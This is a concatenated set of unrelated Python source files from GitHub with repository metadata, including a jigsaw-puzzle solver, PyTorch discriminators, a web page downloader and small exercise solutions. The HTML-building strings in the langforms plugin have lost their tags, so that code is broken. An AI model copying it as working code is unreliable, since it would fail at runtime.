allauth.socialaccount.models import SocialApp\nfrom django.contrib.sites.models import Site\nfrom django.core.management.base import BaseCommand\n\n\nclass Command(BaseCommand):\n help = 'Rename first or create new Site'\n\n def add_arguments(self, parser):\n parser.add_argument('name', type=str, help=\"Site display name\")\n parser.add_argument('domain', type=str, help=\"Site Dimain\")\n parser.add_argument('-c','--create',action='store_true', default=False, help=\"Create new Site\")\n\n def handle(self, *args, **options):\n name = options['name']\n domain = options['domain']\n \n if options[\"create\"]:\n s = Site(name=name, domain=domain,)\n s.save()\n self.stdout.write(self.style.SUCCESS(\n \"Created site! name:'{}' \\tdomain:'{}'\".format(s.name, s.domain)\n ))\n else:\n # Delete the specific sites if it exists.\n Site.objects.filter(name=name).delete()\n s = Site.objects.first()\n s.name=name\n s.domain=domain\n s.save()\n self.stdout.write(self.style.SUCCESS(\n \"Rename first site! name:'{}' \\tdomain:'{}'\".format(s.name, s.domain)\n ))\n ","repo_name":"mar4elkin/SelectelHackaton","sub_path":"selectelhackaton/auth/management/commands/rename_site.py","file_name":"rename_site.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"29841885350","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Language forms plugin\n\nimport re\n\n# Example:\n#\n# {forms\n# classes: wide\n# labels: nom | acc | gen | dat\n# sg: iċ | mē, mec | mīn | mē\n# pl: wē | ūs | ūre | ūs\n# }\n\n\n# Convert the syntax to an HTML table\ndef convert(m):\n content = m.group(1)\n lines = content.split('\\n')\n\n labels = []\n column_order = []\n columns = {}\n css_classes = ''\n\n for line in lines:\n # Strip whitespace\n line = line.strip()\n\n # Parse\n keyword, args = line.split(': ')\n args = [x.strip() for x in args.strip().split(' | ')]\n\n if keyword == 'labels':\n # It's the label definition list\n labels = args\n elif keyword == 'classes':\n # CSS classes to apply to the table\n css_classes = ' %s' % ' '.join(args)\n else:\n # It's a column\n column_order.append(keyword)\n columns[keyword] = args\n\n html = '' % css_classes\n\n # Column labels\n html += ''\n html += ''\n for column in column_order:\n html += '' % column\n html += ''\n\n for i, label in enumerate(labels):\n html += ''\n html += '' % label\n for column in column_order:\n if i < len(columns[column]):\n html += '' % columns[column][i]\n else:\n html += ''\n html += ''\n\n html += '
%s
%s%s
'\n\n return html\n\n\ndef process(content, entry, notebook_url):\n # Convert {forms ... } notation to the HTML we need\n regex = re.compile(r'{forms\\n(.*?)\\n}', flags=re.DOTALL)\n content = regex.sub(convert, content)\n\n return content\n","repo_name":"mod2/vinci","sub_path":"plugins/langforms.py","file_name":"langforms.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"41824818615","text":"import numpy as np\nimport cv2\nimport os\nimport glob\nimport random\nimport sys\n\n# Main function used to instaniate the image, replace path with your own directory.\n\ndef main():\n\n path = os.getcwd()\n path += '/nyc_images'\n t = Tile(0,0, random.randrange(0, len([n for n in os.listdir(path) if os.path.join(path, n)])))\n pixels = 100\n\n x = 'n'\n\n while (x != 'y'):\n islands = []\n t = Tile(0,0, random.randrange(0, len([n for n in os.listdir(path) if os.path.join(path, n)])))\n test = Image(t, pixels, path)\n test.map_image()\n\n while(test.max_images < 0):\n test.clear_map()\n t = Tile(0,0, random.randrange(0, len([n for n in os.listdir(path) if os.path.join(path, n)])))\n test = Image(t, pixels, path)\n test.map_image()\n\n test.print_map()\n print(\"\\n\\nImages Left:\", test.max_images, \"\\n\")\n print('\\nDoes the output look correct (type y to end): ')\n x = input()\n\n\n\n# Load all png images in current pwd/images, make sure to make changes if not pngs or the directory\n# isn't /images\n\ndef load_images(path):\n gray_images = []\n images = [cv2.imread(file) for file in glob.glob(path + \"/*.png\")]\n for i in range(len(images)):\n gray = cv2.cvtColor(images[i], cv2.COLOR_BGR2GRAY)\n gray_images.append(gray)\n return images, gray_images\n\n\n# A load function to pick the pictues in a nonrandom order //Used only for testing\n\ndef load_test_images(path):\n images = []\n gray_images = []\n x_val = 0\n y_val = 1\n c = 0\n images.append(cv2.imread(path + \"/0.png\"))\n images.append(cv2.imread(path + \"/1.png\"))\n images.append(cv2.imread(path + \"/2.png\"))\n images.append(cv2.imread(path + \"/3.png\"))\n images.append(cv2.imread(path + \"/4.png\"))\n images.append(cv2.imread(path + \"/5.png\"))\n images.append(cv2.imread(path + \"/6.png\"))\n images.append(cv2.imread(path + \"/7.png\"))\n images.append(cv2.imread(path + \"/8.png\"))\n images.append(cv2.imread(path + \"/9.png\"))\n images.append(cv2.imread(path + \"/10.png\"))\n images.append(cv2.imread(path + \"/11.png\"))\n images.append(cv2.imread(path + \"/12.png\"))\n images.append(cv2.imread(path + \"/13.png\"))\n images.append(cv2.imread(path + \"/14.png\"))\n images.append(cv2.imread(path + \"/15.png\"))\n images.append(cv2.imread(path + \"/16.png\"))\n images.append(cv2.imread(path + \"/17.png\"))\n images.append(cv2.imread(path + \"/18.png\"))\n images.append(cv2.imread(path + \"/19.png\"))\n images.append(cv2.imread(path + \"/20.png\"))\n images.append(cv2.imread(path + \"/21.png\"))\n images.append(cv2.imread(path + \"/22.png\"))\n images.append(cv2.imread(path + \"/23.png\"))\n\n # for j in range(4):\n # for i in range(6):\n # #img_name = 'images_2/y: '+ str(y_val) + ' x: ' + str(x_val) + \".png\"\n # img_name = path + \"/\"+ str(c) + \".png\"\n # images.append(cv2.imread(img_name))\n # x_val += 1\n # c += 1\n # y_val += 1\n # x_val = 0\n for image in range(len(images)):\n gray = cv2.cvtColor(images[image], cv2.COLOR_BGR2GRAY)\n gray_images.append(gray)\n return images, gray_images\n\n\n# Creating an object for each Tile that gives it an x val, y val, and index in the images list\n\nclass Tile:\n def __init__(self, y, x, index):\n self.x = x\n self.y = y\n self.index = index\n\n\n# Creates an image class with values inputted as the default confidence, current image to start,\n# and the pixel count for each image which has to be identical for each image\n\nclass Image:\n\n # Initializes an image object with all the values below\n def __init__(self, cur_image, pixels, path):\n self.images, self.gray_images = load_images(path)\n self.cur_image = cur_image\n self.max_images = len(self.images)-1\n t = Tile(cur_image.y, cur_image.x, cur_image.index)\n self.map_indices = [[t]]\n self.first_img = cur_image.index\n self.pixels = pixels\n self.unused_images = []\n\n\n # comparison function needs an index to start with and a direction to compare the pixel values of all the other\n # images to in a north, east, south, west form\n def compare_tile(self, index, direction):\n if (direction == 'n'):\n y1 = 0\n y2 = self.pixels-1\n\n elif (direction == 's'):\n y1 = self.pixels-1\n y2 = 0\n\n elif (direction == 'e'):\n x1 = self.pixels-1\n x2 = 0\n\n elif (direction == 'w'):\n x1 = 0\n x2 = self.pixels-1\n\n color = []\n cmp_img = []\n\n\n # this loop is taking every other image in the directory loaded and checking every single pixel that\n # borders it on the side choosen. It them takes the absolute value of the difference between the grayscaled\n # version and averages that. Whatever image has the smallest average is the closest to bordering it.\n for image in range(len(self.gray_images)):\n c = 0\n for p in range(self.pixels):\n if (direction == 'n' or direction == 's'):\n comp = [ self.gray_images[index][y1, p], self.gray_images[image] [y2, p] ]\n color.append(comp)\n else:\n comp = [ self.gray_images[index][p, x1], self.gray_images[image] [p, x2] ]\n color.append(comp)\n for e in range(len(color)):\n c = c + abs(int(color[e][0]) - int(color[e][1]))\n cmp_img.append(c/self.pixels)\n color.clear()\n minimum = min(cmp_img)\n return [minimum, cmp_img.index(minimum)]\n\n def print_map(self):\n for i in range(len(self.map_indices)):\n print(\"\\n\")\n for j in range(len(self.map_indices[i])):\n print(self.map_indices[i][j].y, self.map_indices[i][j].x, self.map_indices[i][j].index, end=\" \")\n\n\n\n # This function determines where the tile should be placed in the mappings of the array\n def place_image(self, tile):\n x = 0\n y = tile.y + abs(self.map_indices[0][0].y)\n x_list = self.list_of_x()\n\n if (tile.index in self.unused_images):\n self.unused_images.remove(tile.index)\n\n # adds a new row on top\n if (y < 0):\n self.map_indices.insert(0, [tile])\n self.max_images -= 1\n # adds a new row at the bottom\n elif (y >= len(self.map_indices)):\n self.map_indices.append([tile])\n self.max_images -= 1\n # adds an x values to a row\n else:\n self.map_indices[y].append(tile)\n self.sort_tiles()\n self.max_images -= 1\n\n def clear_map(self):\n self.map_indices.clear()\n\n # sorts all the rows by their x value\n def sort_tiles(self):\n for row in self.map_indices:\n row.sort(key=lambda x: x.x)\n\n #returns the number value for a tiles position in the 2D array, returns none if doesn't exist\n def get_img_index(self, y, x):\n count = 0\n for img in self.map_indices[y + abs(self.map_indices[0][0].y)]:\n if (x == img.x):\n return count\n count += 1\n return None\n\n\n # returns a list of the entire mapping but just the x values\n def list_of_x(self):\n x_list = []\n for r in range(len(self.map_indices)):\n l = []\n for c in range(len(self.map_indices[r])):\n x = self.map_indices[r][c].x\n l.append(x)\n x_list.append(l)\n return(x_list)\n\n\n # returns a list of the entire mapping but just the index values\n def list_of_images(self):\n index_list = []\n for r in range(len(self.map_indices)):\n l = []\n for c in range(len(self.map_indices[r])):\n x = self.images[self.map_indices[r][c].index]\n l.append(x)\n index_list.append(l)\n return(index_list)\n\n # maps out the entire image based on the starting one\n def map_image(self):\n # setting up a list that will 161show at the end which images haven't been used\n for i in range(len(self.images)):\n if i == self.cur_image.index:\n continue\n self.unused_images.append(i)\n\n north = True\n south = True\n\n # goes and maps all the way up until it doesn't have enough confidence to place\n while(north == True):\n con, index = self.compare_tile(self.cur_image.index, 'n')\n n_con, n_index = self.compare_tile(index, 's')\n if (n_index == self.cur_image.index and index in self.unused_images):\n t = Tile(self.cur_image.y-1, self.cur_image.x, index)\n self.place_image(t)\n self.cur_image.index = index\n self.cur_image.y -= 1\n else:\n self.cur_image.y = 0\n self.cur_image.index = self.first_img\n north = False\n\n # goes and maps all the way down until it doesn't have enough confidence to place\n while(south == True):\n con, index = self.compare_tile(self.cur_image.index, 's')\n n_con, n_index = self.compare_tile(index, 'n')\n if (n_index == self.cur_image.index and index in self.unused_images):\n t = Tile(self.cur_image.y+1, self.cur_image.x, index)\n self.place_image(t)\n self.cur_image.index = index\n self.cur_image.y += 1\n\n else:\n south = False\n\n # for each row going up and down go and place images east and west all the way until it doesn't\n # have the confidence to anymore\n for row in range(len(self.map_indices)):\n # East half implementation\n east = True\n self.cur_image.x = self.map_indices[row][0].x\n self.cur_image.y = self.map_indices[row][0].y\n self.cur_image.index = self.map_indices[row][0].index\n while(east == True):\n con, index = self.compare_tile(self.cur_image.index, 'e')\n n_con, n_index = self.compare_tile(index, 'w')\n if (n_index == self.cur_image.index and index in self.unused_images):\n t = Tile(self.cur_image.y, self.cur_image.x+1, index)\n self.place_image(t)\n self.cur_image.index = index\n self.cur_image.x += 1\n\n else:\n east = False\n\n # West half implementation\n west = True\n self.cur_image.x = self.map_indices[row][0].x\n self.cur_image.y = self.map_indices[row][0].y\n self.cur_image.index = self.map_indices[row][0].index\n while(west == True):\n con, index = self.compare_tile(self.cur_image.index, 'w')\n n_con, n_index = self.compare_tile(index, 'e')\n if (n_index == self.cur_image.index and index in self.unused_images):\n t = Tile(self.cur_image.y, self.cur_image.x-1, index)\n self.place_image(t)\n self.cur_image.index = index\n self.cur_image.x -= 1\n\n else:\n west = False\n\n top = self.map_indices[0]\n bot = self.map_indices[-1]\n for c in range(len(self.map_indices[0])):\n # North half implementation\n\n north = True\n self.cur_image.x = top[c].x\n self.cur_image.y = top[c].y\n self.cur_image.index = top[c].index\n # goes and maps all the way up until it doesn't have enough confidence to place\n while(north == True):\n con, index = self.compare_tile(self.cur_image.index, 'n')\n n_con, n_index = self.compare_tile(index, 's')\n if (n_index == self.cur_image.index and index in self.unused_images):\n t = Tile(self.cur_image.y-1, self.cur_image.x, index)\n self.place_image(t)\n self.cur_image.index = index\n self.cur_image.y -= 1\n\n else:\n north = False\n\n for col in range(len(self.map_indices[-1])):\n # south half implementation\n south = True\n self.cur_image.x = bot[col].x\n self.cur_image.y = bot[col].y\n self.cur_image.index = bot[col].index\n # goes and maps all the way down until it doesn't have enough confidence to place\n while(south == True):\n con, index = self.compare_tile(self.cur_image.index, 's')\n n_con, n_index = self.compare_tile(index, 'n')\n if (n_index == self.cur_image.index and index in self.unused_images):\n t = Tile(self.cur_image.y+1, self.cur_image.x, index)\n self.place_image(t)\n self.cur_image.index = index\n self.cur_image.y += 1\n\n else:\n south = False\n\n # Add East and West tiles to the newly added rows on top and bottom\n for row in range(len(self.map_indices)):\n # East half implementation\n east = True\n self.cur_image.x = self.map_indices[row][-1].x\n self.cur_image.y = self.map_indices[row][-1].y\n self.cur_image.index = self.map_indices[row][-1].index\n while(east == True):\n con, index = self.compare_tile(self.cur_image.index, 'e')\n n_con, n_index = self.compare_tile(index, 'w')\n if (n_index == self.cur_image.index and index in self.unused_images):\n t = Tile(self.cur_image.y, self.cur_image.x+1, index)\n self.place_image(t)\n self.cur_image.index = index\n self.cur_image.x += 1\n\n else:\n east = False\n\n # West half implementation\n west = True\n self.cur_image.x = self.map_indices[row][0].x\n self.cur_image.y = self.map_indices[row][0].y\n self.cur_image.index = self.map_indices[row][0].index\n while(west == True):\n con, index = self.compare_tile(self.cur_image.index, 'w')\n n_con, n_index = self.compare_tile(index, 'e')\n if (n_index == self.cur_image.index and index in self.unused_images):\n t = Tile(self.cur_image.y, self.cur_image.x-1, index)\n self.place_image(t)\n self.cur_image.index = index\n self.cur_image.x -= 1\n\n else:\n west = False\n\n\n # Starting at the top row on a row to row basis fill in each row beneath with any x values that the\n # row below the current doesn't have\n x_list = self.list_of_x()\n for row in range(len(self.map_indices)-1):\n for x in range(len(self.map_indices[row])):\n self.cur_image.x = self.map_indices[row][x].x\n self.cur_image.y = self.map_indices[row][x].y\n self.cur_image.index = self.map_indices[row][x].index\n in_next_row = False\n if (self.map_indices[row][x].x not in x_list[row+1]):\n con, index = self.compare_tile(self.cur_image.index, 's')\n n_con, n_index = self.compare_tile(index, 'n')\n if (n_index == self.cur_image.index and index in self.unused_images):\n t = Tile(self.cur_image.y+1, self.cur_image.x, index)\n self.place_image(t)\n\n\n x_list = self.list_of_x()\n for row in range(len(self.map_indices)-1, 0, -1):\n for x in range(len(self.map_indices[row])):\n self.cur_image.x = self.map_indices[row][x].x\n self.cur_image.y = self.map_indices[row][x].y\n self.cur_image.index = self.map_indices[row][x].index\n in_next_row = False\n if (self.map_indices[row][x].x not in x_list[row-1]):\n con, index = self.compare_tile(self.cur_image.index, 'n')\n n_con, n_index = self.compare_tile(index, 's')\n if (n_index == self.cur_image.index and index in self.unused_images):\n t = Tile(self.cur_image.y-1, self.cur_image.x, index)\n self.place_image(t)\n\n\n # This will sort the tiles by their x value\n self.sort_tiles()\n #self.print_map()\n self.build_image()\n\n # Fill holes and concatenate rows and then concatenate vertically to rebuild the image\n def build_image(self):\n rows = []\n black_image = cv2.imread(\"gray.PNG\", cv2.IMREAD_COLOR)\n b = black_image[0:self.pixels, 0:self.pixels]\n self.images.append(b)\n max_x = max(self.map_indices, key=len)\n len_max_x = len(max(self.map_indices, key=len))\n x = max_x[0].x\n\n x_list = self.list_of_x()\n for row in range(len(self.map_indices)-1):\n for x in range(len(self.map_indices[row])):\n self.cur_image.x = self.map_indices[row][x].x\n self.cur_image.y = self.map_indices[row][x].y\n self.cur_image.index = self.map_indices[row][x].index\n in_next_row = False\n if (self.map_indices[row][x].x not in x_list[row+1]):\n t = Tile(self.cur_image.y+1, self.cur_image.x, len(self.images)-1)\n self.place_image(t)\n self.max_images += 1\n x_list = self.list_of_x()\n for row in range(len(self.map_indices)-1, 0, -1):\n for x in range(len(self.map_indices[row])):\n self.cur_image.x = self.map_indices[row][x].x\n self.cur_image.y = self.map_indices[row][x].y\n self.cur_image.index = self.map_indices[row][x].index\n in_next_row = False\n if (self.map_indices[row][x].x not in x_list[row-1]):\n t = Tile(self.cur_image.y-1, self.cur_image.x, len(self.images)-1)\n self.place_image(t)\n self.max_images += 1\n im = self.list_of_images()\n\n for r in range(len(self.map_indices)):\n rows.append(cv2.hconcat(im[r]))\n\n out = cv2.vconcat(rows)\n cv2.imwrite('out1.png', out)\n\nif __name__==\"__main__\":\n main()\n","repo_name":"zlee113/Jigsaw","sub_path":"jigsaw_solver.py","file_name":"jigsaw_solver.py","file_ext":"py","file_size_in_byte":18555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"11491224699","text":"from typing import AnyStr\n\n\nclass Solution:\n\t# @param A : string\n\t# @return an integer\n def titleToNumber(self, A):\n ans = 0\n A = A[::-1]\n for ind,ele in enumerate(A):\n ele = ord(ele) - 64\n i = 26**ind\n ans += ele*i\n return ans\n\n\n\n# s = Solution()\n\n# print(s.titleToNumber(\"AB\"))\n","repo_name":"akashdeep3194/Scaler","sub_path":"d16/Excel Column Number.py","file_name":"Excel Column Number.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"30294980970","text":"from saitama_data.datasetup.models.todashi.toda_teacher_qes.schema import TodaTeacherQesSchema\nfrom saitama_data.datasetup.models.mix_in.io_mixin import CsvIOMixin\n\n\nclass TodaTeacherQes(CsvIOMixin, TodaTeacherQesSchema):\n path = './data/db/todashi/toda_teacher_qes.csv'\n\n def drop_duplicated_id(self):\n self.data = (\n self.data\n .assign(count_question = lambda dfx: dfx.count(axis=1))\n .sort_values('count_question', ascending=False)\n .drop_duplicates(subset=['year', 'teacher_id'], keep='last')\n .drop('count_question', axis=1)\n )\n return self\n","repo_name":"HirotakeIto/saitama_data","sub_path":"saitama_data/datasetup/models/todashi/toda_teacher_qes/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"33420981460","text":"import torch\ntorch.manual_seed(0)\ntorch.cuda.manual_seed_all(0)\ntorch.backends.cudnn.deterministic = True\ntorch.backends.cudnn.benchmark = False\nimport torch.nn as nn\n\n\nclass Discriminator(nn.Module):\n def __init__(self, n_h):\n super(Discriminator, self).__init__()\n self.f_k_bilinear = nn.Bilinear(n_h,n_h, 1)\n\n for m in self.modules():\n self.weights_init(m)\n\n def weights_init(self, m):\n if isinstance(m, nn.Bilinear):\n torch.nn.init.xavier_uniform_(m.weight.data)\n if m.bias is not None:\n m.bias.data.fill_(0.0)\n\n def forward(self, c, h_pl, h_mi, s_bias1=None, s_bias2=None):\n # c:torch.Size([1, 64]) c_x :torch.Size([1, 3550, 64]) h_pl :torch.Size([1, 3550, 64])\n c_x = torch.unsqueeze(c, 1) # c: summary vector, h_pl: positive, h_mi: negative\n c_x = c_x.expand_as(h_pl)\n #c_x =c\n # print(c_x.shape) #[1, 3550, 2000]\n # print(h_pl.shape)#[1, 3550, 64]\n\n # print(h_mi.shape)\n\n sc_1 = torch.squeeze(self.f_k_bilinear(h_pl, c_x), 2) # sc_1 = 1 x nb_nodes torch.Size([1, 3550])\n sc_2 = torch.squeeze(self.f_k_bilinear(h_mi, c_x), 2) # sc_2 = 1 x nb_nodes torch.Size([1, 3550])\n\n if s_bias1 is not None:\n sc_1 += s_bias1\n if s_bias2 is not None:\n sc_2 += s_bias2\n logits = torch.cat((sc_1, sc_2), 1)\n\n return logits #torch.Size([1, 7100])\n \n \n \nclass Discriminator2(nn.Module): # 借鉴了deep infomax的代码啊\n def __init__(self, n_h1, n_h2):\n super(Discriminator2, self).__init__()\n self.f_k = nn.Bilinear(n_h1,n_h2, 1) # 双线性\n self.act = nn.Sigmoid()\n\n for m in self.modules():\n self.weights_init(m)\n\n def weights_init(self, m):\n if isinstance(m, nn.Bilinear):\n torch.nn.init.xavier_uniform_(m.weight.data)\n if m.bias is not None:\n m.bias.data.fill_(0.0)\n # 隐特征,原始特征\n\n # h_c torch.Size([1, 3550, 64]) h_pl torch.Size([1, 3550, 64])\n def forward(self, h_c, h_pl, sample_list, s_bias1=None, s_bias2=None):\n sc_1 = torch.squeeze(self.f_k(h_pl, h_c), 2) # torch.Size([1, 3550]) 正例的分数\n #sc_1 = self.act(sc_1)\n sc_2_list = []\n for i in range(len(sample_list)): # 从另一个view下选\n h_mi = torch.unsqueeze(h_c[0][sample_list[i]],0) # unsqueeze 第0维度 增加 1。\n sc_2_iter = torch.squeeze(self.f_k(h_mi, h_c), 2) # torch.Size([1, 3550])\n sc_2_list.append(sc_2_iter)\n for i in range(len(sample_list)):# 从当前view下选\n h_mi = torch.unsqueeze(h_c[0][sample_list[i]],0) # unsqueeze 第0维度 增加 1。\n sc_2_iter = torch.squeeze(self.f_k(h_mi, h_c), 2) # torch.Size([1, 3550])\n sc_2_list.append(sc_2_iter)\n # print(sc_2_iter.shape)\n\n #print(torch.stack(sc_2_list,0).shape)\n # sc_2list里面每个 的维度torch.Size([1, 3550])\n a=torch.stack(sc_2_list,0)\n b=torch.stack(sc_2_list,1)\n sc_2_stack = torch.squeeze(torch.stack(sc_2_list,0),1)\n # sc_2 = self.act(sc_2_stack)\n sc_2 = sc_2_stack\n if s_bias1 is not None:\n sc_1 += s_bias1\n if s_bias2 is not None:\n sc_2 += s_bias2\n # print(sc_1.shape)\n # print(sc_2.shape)\n\n logits = torch.cat((sc_1, sc_2.reshape(1,-1)), 1)\n # logits: 1*17750\n return logits","repo_name":"BrainMindgo/CUMGRL","sub_path":"layers/discriminator.py","file_name":"discriminator.py","file_ext":"py","file_size_in_byte":3505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"2227897565","text":"print(\"Hi! This is only place to get the most accurate BMI\")\n\nweight = float(input(\"Enter your weight (in Kilograms): \"))\nheight = float(input(\"Enter your height (in centimetres): \")) / 100.0\n\nBMI = weight / (height ** 2)\n\nreport = \"\"\n\nif BMI <= 18.5:\n report = \"you are underweight\"\nelif 18.5 < BMI <= 25:\n report = \"you have a normal weight\"\nelif 25 < BMI <= 30:\n report = \"you are slightly overweight\"\nelif 30 < BMI <= 35:\n report = \"you are obese\"\nelse:\n report = \"you are clinically obese\"\n\nBMI = round(weight / (height ** 2))\n\nprint(f\"Your BMI is {BMI}, {report}.\")\n","repo_name":"sypai/100DaysOfPython","sub_path":"Day3/bmi_2.py","file_name":"bmi_2.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"40223520884","text":"import unittest\nimport time\nimport sys\nfrom unittest import mock\n\nfrom servicectl import service, command\n\n\nclass Test(unittest.TestCase):\n\n def test(self):\n start_times = {}\n\n class service1(service):\n\n @command()\n def start(self):\n start_times[self.__class__] = time.time()\n time.sleep(.2)\n return True\n\n class service2(service):\n\n @command()\n def start(self):\n start_times[self.__class__] = time.time()\n time.sleep(.2)\n return True\n\n class service3(service):\n\n dependencies = (\n service1,\n service2,\n )\n\n @command(recursive=\"yes\")\n def start(self):\n start_times[self.__class__] = time.time()\n time.sleep(.2)\n return True\n\n with mock.patch.object(sys, \"argv\", [\"service\", \"start\"]):\n service3.main()\n\n self.assertTrue(start_times[service1] - start_times[service2] < .01)\n self.assertTrue(\n start_times[service3]\n - max(start_times[service1], start_times[service2]) >= .2)\n","repo_name":"adelplanque/systemctl","sub_path":"tests/test_dependances.py","file_name":"test_dependances.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"30379740087","text":"from bs4 import BeautifulSoup\r\nsoup = BeautifulSoup(open('GIS_dictionary.html','r',encoding='UTF-8'),features=\"lxml\")\r\n\r\n#tag标签\r\nGlossaryTerm_list = soup.find_all(attrs={'class':'GlossaryTerm'})#完整,1729个\r\nDefinition_list = soup.find_all(attrs={'class':'Definition'})#缺
    \r\n\r\n#添加
      标签,将defList补充完整;\r\n#新建字典,通过标签内部的name属性建立key,value的连接;\r\n#初步使用.text方法和.a.attrs['name']方法;\r\n#set数据库时添加首字母字段;\r\n#尝试加入图片\r\n#对所有的See xxxxxx.在前端中添加超链接指向xxxxxx\r\n\r\n'''\r\n 完成Definition_list中已有的1610个解释的文本获取和词语对应\r\n'''\r\ndefList = []\r\nfor i in Definition_list:\r\n defi = i.text.strip('\\n')#修饰definition\r\n word = i.a.attrs['name'].replace('_',' ')#修饰glossary\r\n defList.append([defi,word]) #抓取所有解释和词语在小列表,再存入大列表\r\n if (i.text==''): #确保没有definition为空\r\n print(i.a.attrs['name'])\r\n#defList示例[[\"defi\",'word'],[\"\",''],[\"\",''],[\"\",'']...]\r\n\r\n\r\n'''\r\n
        标签,将defList补充完整,从Ctrl+F得到共有119个
          标签\r\n \"1610+119=1729\",大成功!1729 == len(GlossaryTerm_list)\r\n'''\r\n#定义函数func_n\r\n#格式化
            的definition:首位加\"1.\";将多个连续的\"\\n\"收为一个;在\"\\n\"后添加\"2.\"等序号\r\ndef func_n(txt):\r\n lstTxt = list(txt) #因为不能直接修改string,故将其打碎为list进行操作\r\n n = len(lstTxt)\r\n newlstTxt = [\"1.\"] #添加首位的\"1.\"\r\n count = 2\r\n for i in range(n-1):\r\n if lstTxt[i]=='\\n' and lstTxt[i]!=lstTxt[i+1] and lstTxt[i+1]!=' ': #保留单独的\"\\n\",在其后添加序号;排除'\\n'+' '的组合\r\n newlstTxt.append('\\n')\r\n newlstTxt.append(str(count))\r\n newlstTxt.append('.')\r\n count += 1\r\n if lstTxt[i]!='\\n' and lstTxt[i]!=lstTxt[i+1] and lstTxt[i]!='\\t': #放弃连续多个的\"\\n\"、放弃所有的'\\t'\r\n newlstTxt.append(lstTxt[i])\r\n newlstTxt.append(lstTxt[-1]) #添加for循环里没有的最后一位\r\n strTxt = ''.join(newlstTxt) #''.join()函数将list变为string\r\n return strTxt\r\n#开始实操\r\nol_list = soup.find_all('ol')\r\nfor j in ol_list:\r\n defi_ol = j.text.strip('\\n')\r\n defi_ol = func_n(defi_ol)\r\n word_ol = j.a.attrs['name'].replace('_',' ')\r\n defList.append([defi_ol,word_ol])\r\n","repo_name":"Owen017/ESRI-Dictionary-A-Z","sub_path":"WhereDoesTheDataComeFrom/step2_DataWrangling.py","file_name":"step2_DataWrangling.py","file_ext":"py","file_size_in_byte":2447,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"32018794839","text":"from bs4 import BeautifulSoup\nfrom pathlib import Path\nfrom page_loader.name import gen_name\nfrom progress.bar import IncrementalBar\nimport logging\nimport requests\nimport os\n\n\nlog = logging.getLogger(__name__)\nCURRENT_DIR = os.getcwd()\nTAG_DICT = {\n \"img\": \"src\",\n \"script\": \"src\",\n \"link\": 'href',\n}\n\n\ndef check_status(page):\n status = page.status_code\n if status != 200:\n raise('Error! Status is not 200')\n # sys.exit(1)\n return\n\n\ndef download_obj(resources, site_url, file_dir):\n with IncrementalBar('Downloading:', max=len(resources)) as progbar:\n for el in resources:\n url = f'{site_url}{el[\"old_value\"]}'\n path = os.path.join(file_dir, el['new_value'])\n with open(path, 'wb') as f:\n f.write(requests.get(url).content)\n progbar.next()\n log.debug('Odjects downloaded')\n\n\ndef download_page(site_url, file_dir, output):\n resources = []\n page = requests.request('GET', site_url)\n check_status(page)\n soup = BeautifulSoup(page.text, 'html.parser')\n for tag, source in TAG_DICT.items():\n for el in soup.find_all(tag):\n source_value = el.get(source)\n if source_value is not None and source_value.startswith('/'):\n base, ext = os.path.splitext(source_value)\n if ext:\n new_value = f'{gen_name(base)}{ext}'\n resources.append(\n {'old_value': source_value, 'new_value': new_value},\n )\n el[source] = os.path.join(os.getcwd(), file_dir, new_value)\n download_obj(resources, site_url, file_dir)\n name = gen_name(site_url) + '.html'\n web_page = Path(output) / name\n page = soup.prettify()\n Path(web_page).write_text(page)\n log.debug('Page is changed')\n return str(web_page)\n","repo_name":"yutanov/python-project-lvl3","sub_path":"page_loader/pager.py","file_name":"pager.py","file_ext":"py","file_size_in_byte":1860,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"26064178562","text":"#!/usr/bin/env python3\nimport sys\nfrom collections.abc import Iterable\nfrom math import *\nfrom itertools import *\nfrom collections import *\nfrom functools import *\nfrom operator import *\ntry:\n from math import gcd\nexcept Exception:\n from fractions import gcd\nreadInt = lambda: int(sys.stdin.readline())\nreadIntN = lambda: [int(v) for v in sys.stdin.readline().split(' ')]\n\nMOD = 2 # type: int\n\n\ndef main():\n N, M = readIntN()\n ks = []\n ss = []\n for i in range(M):\n tmp = readIntN()\n ks.append(tmp[0])\n ss.append(tmp[1:])\n ps = readIntN()\n\n qs = [] \n for s in ss:\n q = 0\n for c in s:\n q |= (1 << (c - 1))\n qs.append(q)\n\n ret = 0\n for i in range(1 << N):\n ok = True\n for q, p in zip(qs, ps):\n ok &= (bin(i & q).count('1') % MOD) == p\n if ok:\n ret += 1\n print(ret)\n\nif __name__ == '__main__':\n main()\n","repo_name":"ar90n/lab","sub_path":"contest/atcoder/abc128/C/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"40830481642","text":"import importlib\nfrom messages import Message\nimport xml.etree.ElementTree\n\n#----------------------------------------------------------------------------------------------\nclass MessageClientContaier():\n def __init__(self, connection_info, channel, callback_queue, filename):\n self.connection_info = connection_info\n self.channel = channel\n self.callback_queue = callback_queue\n self.filename = filename\n self.dict_messages = {}\n self.__load(self.filename)\n \n def __load(self, filename):\n e = xml.etree.ElementTree.parse(filename).getroot()\n \n for msg in e.findall('msg'):\n msg_name = msg.get('name')\n for clt in msg.findall('client'):\n class_ = getattr(importlib.import_module(\"connections.msg.messages\"), 'Message_client_' + msg_name)\n 